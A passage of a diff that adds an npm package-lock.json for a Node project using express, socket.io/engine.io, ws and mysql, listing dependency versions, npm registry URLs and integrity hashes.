"https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", + "integrity": "sha1-IpnwLG3tMNSllhsLn3RSShj2NPw=", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/wbuf": { + "version": "1.7.3", + "resolved": "https://registry.npmjs.org/wbuf/-/wbuf-1.7.3.tgz", + "integrity": "sha512-O84QOnr0icsbFGLS0O3bI5FswxzRr8/gHwWkDlQFskhSPryQXvrTMxjxGP4+iWYoauLoBvfDpkrOauZ+0iZpDA==", + "dependencies": { + "minimalistic-assert": "^1.0.0" + } + }, + "node_modules/ws": { + "version": "8.2.3", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.2.3.tgz", + "integrity": "sha512-wBuoj1BDpC6ZQ1B7DWQBYVLphPWkm8i9Y0/3YdHjHKHiohOJ1ws+3OccDWtH+PoC9DZD5WOTrJvNbWvjS6JWaA==", + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": "^5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + }, + "node_modules/xmlhttprequest-ssl": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/xmlhttprequest-ssl/-/xmlhttprequest-ssl-2.0.0.tgz", + "integrity": "sha512-QKxVRxiRACQcVuQEYFsI1hhkrMlrXHPegbbd1yn9UHOmRxY+si12nQYzri3vbzt8VdTTRviqcKxcyllFas5z2A==", + "engines": { + "node": ">=0.4.0" + } + } + }, + "dependencies": { + "@socket.io/component-emitter": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/@socket.io/component-emitter/-/component-emitter-3.1.0.tgz", + "integrity": "sha512-+9jVqKhRSpsc591z5vX+X5Yyw+he/HCB4iQ/RYxw35CEPaY1gnsNE43nf9n9AaYjAQrTiI/mOwKUKdUs9vf7Xg==" + }, + "@types/component-emitter": { + "version": "1.2.11", + "resolved": "https://registry.npmjs.org/@types/component-emitter/-/component-emitter-1.2.11.tgz", + "integrity": "sha512-SRXjM+tfsSlA9VuG8hGO2nft2p8zjXCK1VcC6N4NXbBbYbSia9kzCChYQajIjzIqOOOuh5Ock6MmV2oux4jDZQ==" + }, + "@types/cookie": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/@types/cookie/-/cookie-0.4.1.tgz", + "integrity": "sha512-XW/Aa8APYr6jSVVA1y/DEIZX0/GMKLEVekNG727R8cs56ahETkRAy/3DR7+fJyh7oUgGwNQaRfXCun0+KbWY7Q==" + }, + "@types/cors": { + "version": "2.8.12", + "resolved": "https://registry.npmjs.org/@types/cors/-/cors-2.8.12.tgz", + "integrity": "sha512-vt+kDhq/M2ayberEtJcIN/hxXy1Pk+59g2FV/ZQceeaTyCtCucjL2Q7FXlFjtWn4n15KCr1NE2lNNFhp0lEThw==" + }, + "@types/node": { + "version": "17.0.35", + "resolved": "https://registry.npmjs.org/@types/node/-/node-17.0.35.tgz", + "integrity": "sha512-vu1SrqBjbbZ3J6vwY17jBs8Sr/BKA+/a/WtjRG+whKg1iuLFOosq872EXS0eXWILdO36DHQQeku/ZcL6hz2fpg==" + }, + "accepts": { + "version": "1.3.8", + "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz", + "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==", + "requires": { + "mime-types": "~2.1.34", + "negotiator": "0.6.3" + } + }, + "array-flatten": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz", + "integrity": "sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg==" + }, + "base64id": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/base64id/-/base64id-2.0.0.tgz", + "integrity": "sha512-lGe34o6EHj9y3Kts9R4ZYs/Gr+6N7MCaMlIFA3F1R2O5/m7K06AxfSeO5530PEERE6/WyEg3lsuyw4GHlPZHog==" + }, + "bignumber.js": { + "version": "9.0.0", + "resolved": "https://registry.npmjs.org/bignumber.js/-/bignumber.js-9.0.0.tgz", + "integrity": "sha512-t/OYhhJ2SD+YGBQcjY8GzzDHEk9f3nerxjtfa6tlMXfe7frs/WozhvCNoGvpM0P3bNf3Gq5ZRMlGr5f3r4/N8A==" + }, + "bn.js": { + "version": "4.12.0", + "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.0.tgz", + "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==" + }, + "body-parser": { + "version": "1.20.0", + "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.20.0.tgz", + "integrity": "sha512-DfJ+q6EPcGKZD1QWUjSpqp+Q7bDQTsQIF4zfUAtZ6qk+H/3/QRhg9CEp39ss+/T2vw0+HaidC0ecJj/DRLIaKg==", + "requires": { + "bytes": "3.1.2", + "content-type": "~1.0.4", + "debug": "2.6.9", + "depd": "2.0.0", + "destroy": "1.2.0", + "http-errors": "2.0.0", + "iconv-lite": "0.4.24", + "on-finished": "2.4.1", + "qs": "6.10.3", + "raw-body": "2.5.1", + "type-is": "~1.6.18", + "unpipe": "1.0.0" + } + }, + "brorand": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/brorand/-/brorand-1.1.0.tgz", + "integrity": "sha512-cKV8tMCEpQs4hK/ik71d6LrPOnpkpGBR0wzxqr68g2m/LB2GxVYQroAjMJZRVM1Y4BCjCKc3vAamxSzOY2RP+w==" + }, + "bytes": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz", + "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==" + }, + "call-bind": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.2.tgz", + "integrity": "sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA==", + "requires": { + "function-bind": "^1.1.1", + "get-intrinsic": "^1.0.2" + } + }, + "component-emitter": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/component-emitter/-/component-emitter-1.3.0.tgz", + "integrity": "sha512-Rd3se6QB+sO1TwqZjscQrurpEPIfO0/yYnSin6Q/rD3mOutHvUrCAhJub3r90uNb+SESBuE0QYoB90YdfatsRg==" + }, + "content-disposition": { + "version": "0.5.4", + "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.4.tgz", + "integrity": "sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==", + "requires": { + "safe-buffer": "5.2.1" + } + }, + "content-type": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.4.tgz", + "integrity": "sha512-hIP3EEPs8tB9AT1L+NUqtwOAps4mk2Zob89MWXMHjHWg9milF/j4osnnQLXBCBFBk/tvIG/tUc9mOUJiPBhPXA==" + }, + "cookie": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.5.0.tgz", + "integrity": "sha512-YZ3GUyn/o8gfKJlnlX7g7xq4gyO6OSuhGPKaaGssGB2qgDUS0gPgtTvoyZLTt9Ab6dC4hfc9dV5arkvc/OCmrw==" + }, + "cookie-signature": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz", + "integrity": "sha1-4wOogrNCzD7oylE6eZmXNNqzriw=" + }, + "core-util-is": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.3.tgz", + "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==" + }, + "cors": { + "version": "2.8.5", + "resolved": "https://registry.npmjs.org/cors/-/cors-2.8.5.tgz", + "integrity": "sha512-KIHbLJqu73RGr/hnbrO9uBeixNGuvSQjul/jdFvS/KFSIH1hWVd1ng7zOHx+YrEfInLG7q4n6GHQ9cDtxv/P6g==", + "requires": { + "object-assign": "^4", + "vary": "^1" + } + }, + "debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "requires": { + "ms": "2.0.0" + } + }, + "depd": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", + "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==" + }, + "destroy": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.2.0.tgz", + "integrity": "sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==" + }, + "detect-node": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/detect-node/-/detect-node-2.1.0.tgz", + "integrity": "sha512-T0NIuQpnTvFDATNuHN5roPwSBG83rFsuO+MXXH9/3N1eFbn4wcPjttvjMLEPWJ0RGUYgQE7cGgS3tNxbqCGM7g==" + }, + "ee-first": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", + "integrity": "sha1-WQxhFWsK4vTwJVcyoViyZrxWsh0=" + }, + "elliptic": { + "version": "6.5.4", + "resolved": "https://registry.npmjs.org/elliptic/-/elliptic-6.5.4.tgz", + "integrity": "sha512-iLhC6ULemrljPZb+QutR5TQGB+pdW6KGD5RSegS+8sorOZT+rdQFbsQFJgvN3eRqNALqJer4oQ16YvJHlU8hzQ==", + "requires": { + "bn.js": "^4.11.9", + "brorand": "^1.1.0", + "hash.js": "^1.0.0", + "hmac-drbg": "^1.0.1", + "inherits": "^2.0.4", + "minimalistic-assert": "^1.0.1", + "minimalistic-crypto-utils": "^1.0.1" + } + }, + "encodeurl": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz", + "integrity": "sha1-rT/0yG7C0CkyL1oCw6mmBslbP1k=" + }, + "engine.io": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/engine.io/-/engine.io-6.2.0.tgz", + "integrity": "sha512-4KzwW3F3bk+KlzSOY57fj/Jx6LyRQ1nbcyIadehl+AnXjKT7gDO0ORdRi/84ixvMKTym6ZKuxvbzN62HDDU1Lg==", + "requires": { + "@types/cookie": "^0.4.1", + "@types/cors": "^2.8.12", + "@types/node": ">=10.0.0", + "accepts": "~1.3.4", + "base64id": "2.0.0", + "cookie": "~0.4.1", + "cors": "~2.8.5", + "debug": "~4.3.1", + "engine.io-parser": "~5.0.3", + "ws": "~8.2.3" + }, + "dependencies": { + "cookie": { + "version": "0.4.2", + "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.4.2.tgz", + "integrity": "sha512-aSWTXFzaKWkvHO1Ny/s+ePFpvKsPnjc551iI41v3ny/ow6tBG5Vd+FuqGNhh1LxOmVzOlGUriIlOaokOvhaStA==" + }, + "debug": { + "version": "4.3.4", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "requires": { + "ms": "2.1.2" + } + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + } + } + }, + "engine.io-client": { + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/engine.io-client/-/engine.io-client-6.2.2.tgz", + "integrity": "sha512-8ZQmx0LQGRTYkHuogVZuGSpDqYZtCM/nv8zQ68VZ+JkOpazJ7ICdsSpaO6iXwvaU30oFg5QJOJWj8zWqhbKjkQ==", + "requires": { + "@socket.io/component-emitter": "~3.1.0", + "debug": "~4.3.1", + "engine.io-parser": "~5.0.3", + "ws": "~8.2.3", + "xmlhttprequest-ssl": "~2.0.0" + }, + "dependencies": { + "debug": { + "version": "4.3.4", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "requires": { + "ms": "2.1.2" + } + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + } + } + }, + "engine.io-parser": { + "version": "5.0.4", + "resolved": "https://registry.npmjs.org/engine.io-parser/-/engine.io-parser-5.0.4.tgz", + "integrity": "sha512-+nVFp+5z1E3HcToEnO7ZIj3g+3k9389DvWtvJZz0T6/eOCPIyyxehFcedoYrZQrp0LgQbD9pPXhpMBKMd5QURg==" + }, + "escape-html": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", + "integrity": "sha1-Aljq5NPQwJdN4cFpGI7wBR0dGYg=" + }, + "etag": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", + "integrity": "sha1-Qa4u62XvpiJorr/qg6x9eSmbCIc=" + }, + "express": { + "version": "4.18.1", + "resolved": "https://registry.npmjs.org/express/-/express-4.18.1.tgz", + "integrity": "sha512-zZBcOX9TfehHQhtupq57OF8lFZ3UZi08Y97dwFCkD8p9d/d2Y3M+ykKcwaMDEL+4qyUolgBDX6AblpR3fL212Q==", + "requires": { + "accepts": "~1.3.8", + "array-flatten": "1.1.1", + "body-parser": "1.20.0", + "content-disposition": "0.5.4", + "content-type": "~1.0.4", + "cookie": "0.5.0", + "cookie-signature": "1.0.6", + "debug": "2.6.9", + "depd": "2.0.0", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "finalhandler": "1.2.0", + "fresh": "0.5.2", + "http-errors": "2.0.0", + "merge-descriptors": "1.0.1", + "methods": "~1.1.2", + "on-finished": "2.4.1", + "parseurl": "~1.3.3", + "path-to-regexp": "0.1.7", + "proxy-addr": "~2.0.7", + "qs": "6.10.3", + "range-parser": "~1.2.1", + "safe-buffer": "5.2.1", + "send": "0.18.0", + "serve-static": "1.15.0", + "setprototypeof": "1.2.0", + "statuses": "2.0.1", + "type-is": "~1.6.18", + "utils-merge": "1.0.1", + "vary": "~1.1.2" + } + }, + "express-async-handler": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/express-async-handler/-/express-async-handler-1.2.0.tgz", + "integrity": "sha512-rCSVtPXRmQSW8rmik/AIb2P0op6l7r1fMW538yyvTMltCO4xQEWMmobfrIxN2V1/mVrgxB8Az3reYF6yUZw37w==" + }, + "finalhandler": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.2.0.tgz", + "integrity": "sha512-5uXcUVftlQMFnWC9qu/svkWv3GTd2PfUhK/3PLkYNAe7FbqJMt3515HaxE6eRL74GdsriiwujiawdaB1BpEISg==", + "requires": { + "debug": "2.6.9", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "on-finished": "2.4.1", + "parseurl": "~1.3.3", + "statuses": "2.0.1", + "unpipe": "~1.0.0" + } + }, + "forwarded": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz", + "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==" + }, + "fresh": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz", + "integrity": "sha1-PYyt2Q2XZWn6g1qx+OSyOhBWBac=" + }, + "function-bind": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz", + "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==" + }, + "get-intrinsic": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.1.1.tgz", + "integrity": "sha512-kWZrnVM42QCiEA2Ig1bG8zjoIMOgxWwYCEeNdwY6Tv/cOSeGpcoX4pXHfKUxNKVoArnrEr2e9srnAxxGIraS9Q==", + "requires": { + "function-bind": "^1.1.1", + "has": "^1.0.3", + "has-symbols": "^1.0.1" + } + }, + "handle-thing": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/handle-thing/-/handle-thing-2.0.1.tgz", + "integrity": "sha512-9Qn4yBxelxoh2Ow62nP+Ka/kMnOXRi8BXnRaUwezLNhqelnN49xKz4F/dPP8OYLxLxq6JDtZb2i9XznUQbNPTg==" + }, + "has": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz", + "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==", + "requires": { + "function-bind": "^1.1.1" + } + }, + "has-symbols": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.3.tgz", + "integrity": "sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==" + }, + "hash.js": { + "version": "1.1.7", + "resolved": "https://registry.npmjs.org/hash.js/-/hash.js-1.1.7.tgz", + "integrity": "sha512-taOaskGt4z4SOANNseOviYDvjEJinIkRgmp7LbKP2YTTmVxWBl87s/uzK9r+44BclBSp2X7K1hqeNfz9JbBeXA==", + "requires": { + "inherits": "^2.0.3", + "minimalistic-assert": "^1.0.1" + } + }, + "hmac-drbg": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/hmac-drbg/-/hmac-drbg-1.0.1.tgz", + "integrity": "sha512-Tti3gMqLdZfhOQY1Mzf/AanLiqh1WTiJgEj26ZuYQ9fbkLomzGchCws4FyrSd4VkpBfiNhaE1On+lOz894jvXg==", + "requires": { + "hash.js": "^1.0.3", + "minimalistic-assert": "^1.0.0", + "minimalistic-crypto-utils": "^1.0.1" + } + }, + "hpack.js": { + "version": "2.1.6", + "resolved": "https://registry.npmjs.org/hpack.js/-/hpack.js-2.1.6.tgz", + "integrity": "sha1-h3dMCUnlE/QuhFdbPEVoH63ioLI=", + "requires": { + "inherits": "^2.0.1", + "obuf": "^1.0.0", + "readable-stream": "^2.0.1", + "wbuf": "^1.1.0" + }, + "dependencies": { + "readable-stream": { + "version": "2.3.7", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", + "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", + "requires": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + } + } + }, + "http-deceiver": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/http-deceiver/-/http-deceiver-1.2.7.tgz", + "integrity": "sha1-+nFolEq5pRnTN8sL7HKE3D5yPYc=" + }, + "http-errors": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.0.tgz", + "integrity": "sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==", + "requires": { + "depd": "2.0.0", + "inherits": "2.0.4", + "setprototypeof": "1.2.0", + "statuses": "2.0.1", + "toidentifier": "1.0.1" + } + }, + "iconv-lite": { + "version": "0.4.24", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", + "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", + "requires": { + "safer-buffer": ">= 2.1.2 < 3" + } + }, + "inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" + }, + "ipaddr.js": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", + "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==" + }, + "isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=" + }, + "media-typer": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz", + "integrity": "sha1-hxDXrwqmJvj/+hzgAWhUUmMlV0g=" + }, + "merge-descriptors": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.1.tgz", + "integrity": "sha1-sAqqVW3YtEVoFQ7J0blT8/kMu2E=" + }, + "methods": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz", + "integrity": "sha1-VSmk1nZUE07cxSZmVoNbD4Ua/O4=" + }, + "mime": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", + "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==" + }, + "mime-db": { + "version": "1.52.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==" + }, + "mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "requires": { + "mime-db": "1.52.0" + } + }, + "minimalistic-assert": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/minimalistic-assert/-/minimalistic-assert-1.0.1.tgz", + "integrity": "sha512-UtJcAD4yEaGtjPezWuO9wC4nwUnVH/8/Im3yEHQP4b67cXlD/Qr9hdITCU1xDbSEXg2XKNaP8jsReV7vQd00/A==" + }, + "minimalistic-crypto-utils": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/minimalistic-crypto-utils/-/minimalistic-crypto-utils-1.0.1.tgz", + "integrity": "sha512-JIYlbt6g8i5jKfJ3xz7rF0LXmv2TkDxBLUkiBeZ7bAx4GnnNMr8xFpGnOxn6GhTEHx3SjRrZEoU+j04prX1ktg==" + }, + "ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" + }, + "mysql": { + "version": "2.18.1", + "resolved": "https://registry.npmjs.org/mysql/-/mysql-2.18.1.tgz", + "integrity": "sha512-Bca+gk2YWmqp2Uf6k5NFEurwY/0td0cpebAucFpY/3jhrwrVGuxU2uQFCHjU19SJfje0yQvi+rVWdq78hR5lig==", + "requires": { + "bignumber.js": "9.0.0", + "readable-stream": "2.3.7", + "safe-buffer": "5.1.2", + "sqlstring": "2.3.1" + }, + "dependencies": { + "readable-stream": { + "version": "2.3.7", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", + "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", + "requires": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + } + } + }, + "negotiator": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz", + "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==" + }, + "object-assign": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", + "integrity": "sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM=" + }, + "object-inspect": { + "version": "1.12.1", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.12.1.tgz", + "integrity": "sha512-Y/jF6vnvEtOPGiKD1+q+X0CiUYRQtEHp89MLLUJ7TUivtH8Ugn2+3A7Rynqk7BRsAoqeOQWnFnjpDrKSxDgIGA==" + }, + "obuf": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/obuf/-/obuf-1.1.2.tgz", + "integrity": "sha512-PX1wu0AmAdPqOL1mWhqmlOd8kOIZQwGZw6rh7uby9fTc5lhaOWFLX3I6R1hrF9k3zUY40e6igsLGkDXK92LJNg==" + }, + "on-finished": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz", + "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==", + "requires": { + "ee-first": "1.1.1" + } + }, + "parseurl": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", + "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==" + }, + "path-to-regexp": { + "version": "0.1.7", + "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.7.tgz", + "integrity": "sha1-32BBeABfUi8V60SQ5yR6G/qmf4w=" + }, + "process-nextick-args": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==" + }, + "proxy-addr": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz", + "integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==", + "requires": { + "forwarded": "0.2.0", + "ipaddr.js": "1.9.1" + } + }, + "qs": { + "version": "6.10.3", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.10.3.tgz", + "integrity": "sha512-wr7M2E0OFRfIfJZjKGieI8lBKb7fRCH4Fv5KNPEs7gJ8jadvotdsS08PzOKR7opXhZ/Xkjtt3WF9g38drmyRqQ==", + "requires": { + "side-channel": "^1.0.4" + } + }, + "range-parser": { + "version": "1.2.1", + "resolved": 